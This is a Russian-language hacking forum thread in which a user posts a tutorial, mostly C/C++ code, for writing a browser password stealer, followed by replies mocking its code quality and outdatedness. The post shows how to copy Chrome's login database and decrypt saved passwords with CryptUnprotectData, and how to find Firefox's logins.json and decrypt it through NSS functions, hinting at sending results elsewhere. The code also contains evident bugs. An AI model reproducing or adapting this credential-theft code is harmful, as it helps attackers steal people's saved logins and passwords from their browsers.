Загрузка...

Gaidik for beginners about how to write styller

Thread in C/C++ created by ВзломалИнтернет Jul 9, 2025. 358 views

  1. ВзломалИнтернет
    ВзломалИнтернет Topic starter Jul 9, 2025 Banned 237 Nov 17, 2019
    ******* для Chrome
    Сразу хочу заметить, что описанный метод подходит лишь для предыдущих версий Chrome. В актульных версиях шифрование aes256 для данных. Поэтому можете воспринимать этот материал для общепознавательных целей. (Тут нет готового кода для *******ов, только информация)

    Начнем с браузера Google Chrome. Для начала давайте получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:

    C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data
    Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.

    Давайте напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome):

    C
    #define CHROME_DB_PATH  "\\Google\\Chrome\\User Data\\Default\\Login Data"

    bool get_browser_path(char * db_loc, int browser_family, const char * location) {

    memset(db_loc, 0, MAX_PATH);

    if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {

    return 0;

    }

    if (browser_family = 0) {

    lstrcat(db_loc, TEXT(location));

    return 1;

    }

    }
    Вызов функции:

    char browser_db[MAX_PATH];
    get_browser_path(browser_db, 0, CHROME_DB_PATH);

    Давай, вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family, оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).

    Если условие browser_family = 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family = 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. После этого мы получаем путь к базе при помощи функции SHGetFolderPath, передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA, которое означает:

    #define CSIDL_LOCAL_APPDATA 0x001c // <user name>\Local Settings\Applicaiton Data (non roaming)

    Функция SHGetFolderPath уже устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath. Проблема кроется в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:

    HRESULT SHGetFolderPath(
    HWND hwndOwner,
    int nFolder,
    HANDLE hToken,
    DWORD dwFlags,
    LPTSTR pszPath
    );

    После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH.

    База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это База данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давайте скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера:

    int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);
    if (!status) {
    // return 0;
    }

    Теперь подключаемся к базе командой sqlite3_open_v2. Её прототип:

    C
    int sqlite3_open_v2(

    const char *filename, /* Database filename (UTF-8) */

    sqlite3 **ppDb, /* OUT: SQLite db handle */

    int flags, /* Flags */

    const char *zVfs /* Name of VFS module to use */

    );
    Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK, в противном случае возвращается код ошибки:

    C
    sqlite3 *sql_browser_db = NULL;

    status = sqlite3_open_v2(TEMP_DB_PATH,

    &sql_browser_db,

    SQLITE_OPEN_READONLY,

    NULL);

    if(status != SQLITE_OK) {

    sqlite3_close(sql_browser_db);

    DeleteFile(TEXT(TEMP_DB_PATH));

    }
    Обратите внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.

    Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec():

    status = sqlite3_exec(sql_browser_db,
    "SELECT origin_url, username_value, password_value FROM logins",
    crack_chrome_db,
    sql_browser_db,
    &err);
    if (status != SQLITE_OK)
    return 0;
    Эта функция имеет такой прототип:

    int sqlite3_exec(
    sqlite3*, /* An open database */
    const char *sql, /* SQL to be evaluated */
    int (*callback)(void*,int,char**,char**), /* Callback function */
    void *, /* 1st argument to callback */
    char **errmsg /* Error msg written here */
    );
    Первый аргумент — наша база паролей, второй — это команда SQL, которая вытаскивает URL файла, логин, пароль и имя пользователя, третий аргумент — это функция обратного вызова, которая и будет расшифровывать пароли, четвертый — передается в нашу функцию обратного вызова, ну а пятый аргумент сообщает об ошибке.

    Давайте остановимся подробнее на callback-функции, которая расшифровывает пароли. Она будет использоваться к каждой строке из выборки нашего запроса SELECT. Ее прототип — int (*callback)(void*,int,char**,char**), но все аргументы нам не понадобятся, хотя объявлены они должны быть. Саму функцию назовем crack_chrome_db, начинаем писать и объявлять нужные переменные:

    int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {

    DATA_BLOB data_decrypt, data_encrypt;
    sqlite3 *in_db = (sqlite3*)db_in;
    BYTE *blob_data = NULL;
    sqlite3_blob *sql_blob = NULL;

    char *passwds = NULL;

    while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );
    В этом цикле формируем BLOB (то есть большой массив двоичных данных). Далее выделяем память, читаем блоб и инициализируем поля DATA_BLOB:

    int sz_blob;
    int result;

    sz_blob = sqlite3_blob_bytes(sql_blob);
    dt_blob = (BYTE *)malloc(sz_blob);

    if (!dt_blob) {
    sqlite3_blob_close(sql_blob);
    sqlite3_close(in_db);
    }

    data_encrypt.pbData = dt_blob;
    data_encrypt.cbData = sz_blob;
    А теперь приступим непосредственно к дешифровке паролей. база данных Chrome зашифрована механизмом Data Protection Application Programming Interface (DPAPI). Суть этого механизма заключается в том, что расшифровать данные можно только под той учетной записью, под которой они были зашифрованы. Другими словами, нельзя вытащить базу данных паролей, а потом расшифровать ее уже на своем компьютере (об этом мы писали в статье «Где в Chrome хранятся пароли»). Для расшифровки данных нам потребуется функция CryptUnprotectData:

    C
    DPAPI_IMP BOOL CryptUnprotectData(

    DATA_BLOB *pDataIn,

    LPWSTR *ppszDataDescr,

    DATA_BLOB *pOptionalEntropy,

    PVOID pvReserved,

    CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,

    DWORD dwFlags,

    DATA_BLOB *pDataOut

    );

    if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {

    free(dt_blob);

    sqlite3_blob_close(sql_blob);

    sqlite3_close(in_db);

    }
    После этого выделяем память и заполняем массив passwds расшифрованными данными:

    passwds = ( char *)malloc(data_decrypt.cbData + 1);
    memset(passwds, 0, data_decrypt.cbData);

    int xi = 0;
    while (xi < data_decrypt.cbData) {
    passwds[xi] = (char)data_decrypt.pbData[xi];
    ++xi;
    }
    Собственно, на этом всё! После этого passwds будет содержать учетные записи пользователей и URL. Можно эту информацию вывести на экран или сохранить в файл. Ну или отправить куда-нибудь. Но об этом мы поговорим в другой раз.

    ******* для Firefox
    Переходим к Firefox. Тут всё будет немного посложнее. Для начала давайте получим путь до базы данных паролей Firefox. Помните, в нашей универсальной функции get_browser_path мы передавали параметр browser_family? В случае Chrome он был равен нулю, а для Firefox установим 1:

    bool get_browser_path(char * db_loc, int browser_family, const char * location) {
    ...
    if (browser_family = 1) {
    memset(db_loc, 0, MAX_PATH);
    if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
    // return 0;
    }
    В случае с Firefox мы не сможем, как в Chrome, сразу указать путь до каталога пользователя. Дело в том, что имя каталога пользовательского профиля генерируется случайным образом. Но это не помеха, ведь известно начало пути (\\Mozilla\\Firefox\\Profiles\\). Достаточно поискать в нем объект «папка» и проверить наличие в ней файла \\logins.json«. Именно в этом файле хранятся данные логинов и паролей. Разумеется, в зашифрованном виде. Реализуем все это в коде:

    C
    lstrcat(db_loc, TEXT(location));

    // Объявляем переменные

    const char * profileName = "";

    WIN32_FIND_DATA w_find_data;

    const char * db_path = db_loc;

    // Создаем маску для поиска функцией FindFirstFile

    lstrcat((LPSTR)db_path, TEXT("*"));

    // Просматриваем, нас интересует объект с атрибутом FILE_ATTRIBUTE_DIRECTORY

    HANDLE gotcha = FindFirstFile(db_path, &w_find_data);

    while (FindNextFile(gotcha, &w_find_data) != 0){

    if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {

    if (strlen(w_find_data.cFileName) > 2) {

    profileName = w_find_data.cFileName;

    }

    }

    }

    // Убираем звездочку :)

    db_loc[strlen(db_loc) - 1] = '\0';

    lstrcat(db_loc, profileName);

    // Наконец, получаем нужный нам путь

    lstrcat(db_loc, "\\logins.json");

    return 1;
    В самом конце переменная db_loc, которую мы передавали в качестве аргумента в нашу функцию, содержит полный путь до файла logins.json, а функция возвращает 1, сигнализируя о том, что она отработала корректно.

    Теперь получим хендл файла паролей и выделим память под данные. Для получения хендла используем функцию CreateFile, как советует MSDN:

    DWORD read_bytes = 8192;
    DWORD lp_read_bytes;

    char *buffer = (char *)malloc(read_bytes);
    HANDLE db_file_login = CreateFileA(original_db_location,
    GENERIC_READ,
    FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
    NULL, OPEN_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

    ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL);
    Все готово, но в случае с Firefox все не будет так просто, как с Chrome, — мы не сможем просто получить нужные данные обычным запросом SELECT, да и шифрование не ограничивается одной-единственной функцией WinAPI.

    Network Security Services (NSS)
    Браузер Firefox активно использует функции Network Security Services для реализации шифрования своей базы паролей. Эти функции находятся в динамической библиотеке, которая лежит по адресу:

    C:\Program Files\Mozilla Firefox\nss3.dll
    Все интересующие функции придется получать из этой DLL. Сделать это можно стандартным образом, при помощи LoadLibrary\GetProcAdress. Код однообразный и большой, поэтому я просто приведу список функций, которые нам понадобятся:

    NSS_Init;
    PL_Base64Decode;
    PK11SDR_Decrypt;
    PK11_Authenticate;
    PK11_GetInternalKeySlot;
    PK11_FreeSlot.
    Это функции инициализации механизма NSS и расшифровки данных. Давайте напишем функцию расшифровки, она небольшая. Я добавлю комментарии, чтобы все было понятно:

    C
    char * data_uncrypt(std::string pass_str) {

    // Объявляем переменные

    SECItem crypt;

    SECItem decrypt;

    PK11SlotInfo *slot_info;

    // Выделяем память для наших данных

    char *char_dest = (char *)malloc(8192);

    memset(char_dest, NULL, 8192);

    crypt.data = (unsigned char *)malloc(8192);

    crypt.len = 8192;

    memset(crypt.data, NULL, 8192);

    // Непосредственно расшифровка функциями NSS

    PL_Base64Decode(pass_str.c_str(), pass_str.size(), char_dest);

    memcpy(crypt.data, char_dest, 8192);

    slot_info = PK11_GetInternalKeySlot();

    PK11_Authenticate(slot_info, TRUE, NULL);

    PK11SDR_Decrypt(&crypt, &decrypt, NULL);

    PK11_FreeSlot(slot_info);

    // Выделяем память для расшифрованных данных

    char *value = (char *)malloc(decrypt.len);

    value[decrypt.len] = 0;

    memcpy(value, decrypt.data, decrypt.len);

    return value;

    }
    Теперь осталось парсить файл logins.json и применять нашу функцию расшифровки. Для краткости кода я буду использовать регулярные выражения и их возможности в C++ 11:

    C
    string decode_data = buffer;

    // Определяем регулярную последовательность для сайтов, логинов и паролей

    regex user("\"encryptedUsername\":\"([^\"]+)\"");

    regex passw("\"encryptedPassword\":\"([^\"]+)\"");

    regex host("\"hostname\":\"([^\"]+)\"");

    // Объявим переменную и итератор

    smatch smch;

    string::const_iterator pars(decode_data.cbegin());

    // Парсинг при помощи regex_search, расшифровка данных нашей функцией data_uncrypt

    // и вывод на экран расшифрованных данных

    do {

    printf("Site\t: %s", smch.str(1).c_str());

    regex_search(pars, decode_data.cend(), smch, user);

    printf("Login: %s", data_uncrypt(smch.str(1)));

    regex_search(pars, decode_data.cend(), smch, passw);

    printf("Pass: %s",data_uncrypt( smch.str(1)));

    pars += smch.position() + smch.length();

    } while (regex_search(pars, decode_data.cend(), smch, host));
    На этом все, сяб что дочитали
     
  2. Elena_Tihonova
    Elena_Tihonova Jul 9, 2025 Лучшие ****** здесь - lolz.live/threads/8856953/ :animedance: 1178 Jun 28, 2019
    А кто сейчас не обновляет хром?:)

    А так, если не ии, то вкусно выглядит
     
    1. ВзломалИнтернет Topic starter
      Elena_Tihonova, ну то что описано выше инфа на 21-22 год, опять же сказал чисто инфа для того как это все работает
  3. morphosed
    morphosed Jul 9, 2025 Banned 3619 Nov 1, 2023
    Как написать ******* != пиздить куки 2ух браузеров
     
    1. ВзломалИнтернет Topic starter
      morphosed, лол, а ******* только **** пиздит? Опять же в аннотации все сказано
    2. morphosed
      ВзломалИнтернет, интересно на кого ориентирована статья, половина не разберут таких слов, информация не актуальна на данный момент, таких исходников в интернете миллион..
    3. ВзломалИнтернет Topic starter
      morphosed, бля с таким подходом в интернете есть любые исходники
  4. doublepurpose
    doublepurpose Jul 9, 2025 116 Mar 27, 2025
    бля, лучше бы на плюсах написал. На си хардкор прям.
     
    1. View previous comments (8)
    2. ВзломалИнтернет Topic starter
      doublepurpose, впринципе после слов низкоуровневыми и чат гпт я все понял, для самых умных также еще в самом верху было написано что этот метод устаревший и он не актуален сейчас, это просто информация дурак ты я понимаю на что негодует morphosed , но ты буквально доебываешься до хуйни и учишь меня, получи миддл на проекте, выполни там заказы, создай свои гайды, зач ты мне про нейронку то заливаешь
    3. doublepurpose
      ВзломалИнтернет, ты норм чувствуешь себя? Если ты миддл на сях и при этом не освобождаешь память в функции считая это мелочами, то я просто не знаю через какую жопу тебе давали этот статус
    4. doublepurpose
      ВзломалИнтернет, причем тут метод ваще... Я о нем ни слова ни сказал, я говорю о том что у тебя код написан с ошибками которые нельзя допускать :facepalm:
  5. 555
    спасибо я написал принт хелло ворлд
     
  6. kappaPride
    kappaPride Jul 9, 2025 4468 Sep 24, 2019
    спасибо, но сомневаюсь, что кто-то не обновляет бравзер
     
    1. morphosed
      kappaPride, я не обновляю, жду когда меня таким *******ом опрокинут
  7. meqwxr
    meqwxr Jul 9, 2025 2 Oct 27, 2024
    Спасибо я написал свой ******* ко мне фбр ломится
     
  8. WWBOB
    WWBOB Jul 9, 2025 5802 Dec 29, 2021
    Пиздец вот так сидишь думаешь как до такого додуматься можно было.
    Какие-то английские слова, скобочки с пробелами в конечнос результате дают тебе определенную информацию
     
    1. WWBOB
      WWBOB, какие то ебать crypt decrypt, а че не канает написать vzlom?
  9. трагедия
    трагедия Jul 10, 2025 привет, guest, как у тебя настроение? 7460 Jun 2, 2023
    возможно была бы интересная статья (если забыть про неактуальность информации), но, без обид, код на С абсолютно нечитаемый, это еще при том что я знаю С, так же большая часть статьи это не как работает ******, а расшифровка твоего непонятного кода. я, как человек привыкший к ооп, не понимаю зачем так напрягаться в такой простой задаче с С, если бы код был бы сильно проще, скажем, на питоне. я вообще считаю, что код должен читаться просто, даже без всяких комментариев, чтобы просто посмотрел на него и сразу понял как все работает, тут таким даже не пахнет
     
    1. View previous comments (1)
    2. трагедия
      morphosed, и чем же тебя питон не устраивает
    3. ВзломалИнтернет Topic starter
      трагедия, Ну спасибо за оценку, учту если буду еще писать темки такие, но *******ы на питоне это сильно)
    4. трагедия
Loading...
Top